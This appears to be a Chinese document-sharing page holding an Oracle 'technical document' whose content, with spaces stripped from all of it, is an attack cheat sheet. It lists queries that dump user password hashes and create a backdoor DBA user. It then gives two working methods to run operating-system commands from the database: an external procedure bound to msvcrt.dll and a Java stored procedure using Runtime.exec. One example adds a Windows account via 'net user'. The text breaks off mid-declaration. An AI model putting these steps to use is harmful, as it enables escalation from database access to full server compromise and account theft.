oracle技术文档 电脑资料文档格式.docx
《oracle技术文档 电脑资料文档格式.docx》由会员分享,可在线阅读,更多相关《oracle技术文档 电脑资料文档格式.docx(19页珍藏版)》请在冰豆网上搜索。
![oracle技术文档 电脑资料文档格式.docx](https://file1.bdocx.com/fileroot1/2022-11/17/ae7832e7-7edc-4836-bf94-9eafe8780e5e/ae7832e7-7edc-4836-bf94-9eafe8780e5e1.gif)
selectusername,passwordfromdba_users;
//查看所有用户密码hash
select*fromdba_sys_privswheregrantee='
SYSTEM'
;
\\查系统权限
grantselectanydictionarytosystemwithadminoption;
\\登陆不上OEM时候需要此权限
Selectname,passwordFROMuser$Wherename='
SCOTT'
//低版本查看单用户密码
Selectusername,decode(password,NULL,'
NULL'
password)passwordFROMdba_users;
//查看用户hash
createuserbobidentifiedbyiloveyou;
\\建用户bob密码iloveyou
grantdbatobob;
\\赋予bobDBA权限
grantexecuteonxmldomtobob\\赋予用户execute
CreateROLE"
javauserpriv"
NOTIDENTIFIED
javasyspriv"
NOTIDENTIFIED\\当提示role'
JAVASYSPRIV'
doesnotexist使用
selectgranteefromdba_role_privswheregranted_role='
DBA'
\\检查那些用户有DBA权限
select*fromdba_directories;
\\查看路径所在目录
第二部分,创建java,执行系统命令
no.1
CreateorREPLACELIBRARYexec_shellAS'
c:
\windows\system32\msvcrt.dll'
/
showerrors
CreateorREPLACEPACKAGEoracmdISPROCEDUREexec(cmdstringINCHAR);
endoracmd;
CreateorREPLACEPACKAGEBODYoracmdIS
PROCEDUREexec(cmdstringINCHAR)
ISEXTERNAL
NAME"
system"
LIBRARYexec_shell
LANGUAGEC;
showerrors上面这个没有回显的
如果不行可以使用下面这个
$ORACLE_HOME\msvcrt.dll'
showerrors执行完后
执行
execoracmd.exec('
net1userrobertiloveyou/add'
);
no2.
CreateorREPLACEANDCOMPILEJAVASOURCENAMED"
Host"
AS
importjava.io.*;
publicclassHost{
publicstaticvoidexecuteCommand(Stringcommand){
try{
String[]finalCommand;
if(isWindows()){
finalCommand=newString[4];
//Usetheappropriatepathforyourwindowsversion.
finalCommand[0]="
C:
\\windows\\system32\\cmd.exe"
//WindowsXP/2003
//finalCommand[0]="
\\winnt\\system32\\cmd.exe"
//WindowsNT/2000
finalCommand[1]="
/y"
finalCommand[2]="
/c"
finalCommand[3]=command;
}
else{
finalCommand=newString[3];
/bin/sh"
-c"
finalCommand[2]=command;
finalProcesspr=Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
newThread(newRunnable(){
publicvoidrun(){
BufferedReaderbr_in=null;
br_in=newBufferedReader(newInputStreamReader(pr.getInputStream()));
Stringbuff=null;
while((buff=br_in.readLine())!
=null){
System.out.println("
Processout:
"
+buff);
try{Thread.sleep(100);
}catch(Exceptione){}
br_in.close();
catch(IOExceptionioe){
Exceptioncaughtprintingprocessoutput."
ioe.printStackTrace();
finally{
}catch(Exceptionex){}
}).start();
BufferedReaderbr_err=null;
br_err=newBufferedReader(newInputStreamReader(pr.getErrorStream()));
while((buff=br_err.readLine())!
Processerr:
br_err.close();
Exceptioncaughtprintingprocesserror."
catch(Exceptionex){
System.out.println(ex.getLocalizedMessage());
publicstaticbooleanisWindows(){
if(System.getProperty("
os.name"
).toLowerCase().indexOf("
windows"
)!
=-1)
returntrue;
else
returnfalse;
};
CreateorREPLACEPROCEDUREhost_command(p_command
IN
VARCHAR2)
ASLANGUAGEJAVA
NAME'
Host.executeCommand(java.lang.String)'
EXECDBMS_JAVA.grant_permission('
'
java.io.FilePermission'
<
>
'
read,write,execute,delete'
EXECDbms_Java.Grant_Permission('
SYS:
java.lang.RuntimePermission'
writeFileDescriptor'
readFileDescriptor'
DECLARE
l_outputDBMS_OUTPUT.chararr;
l_line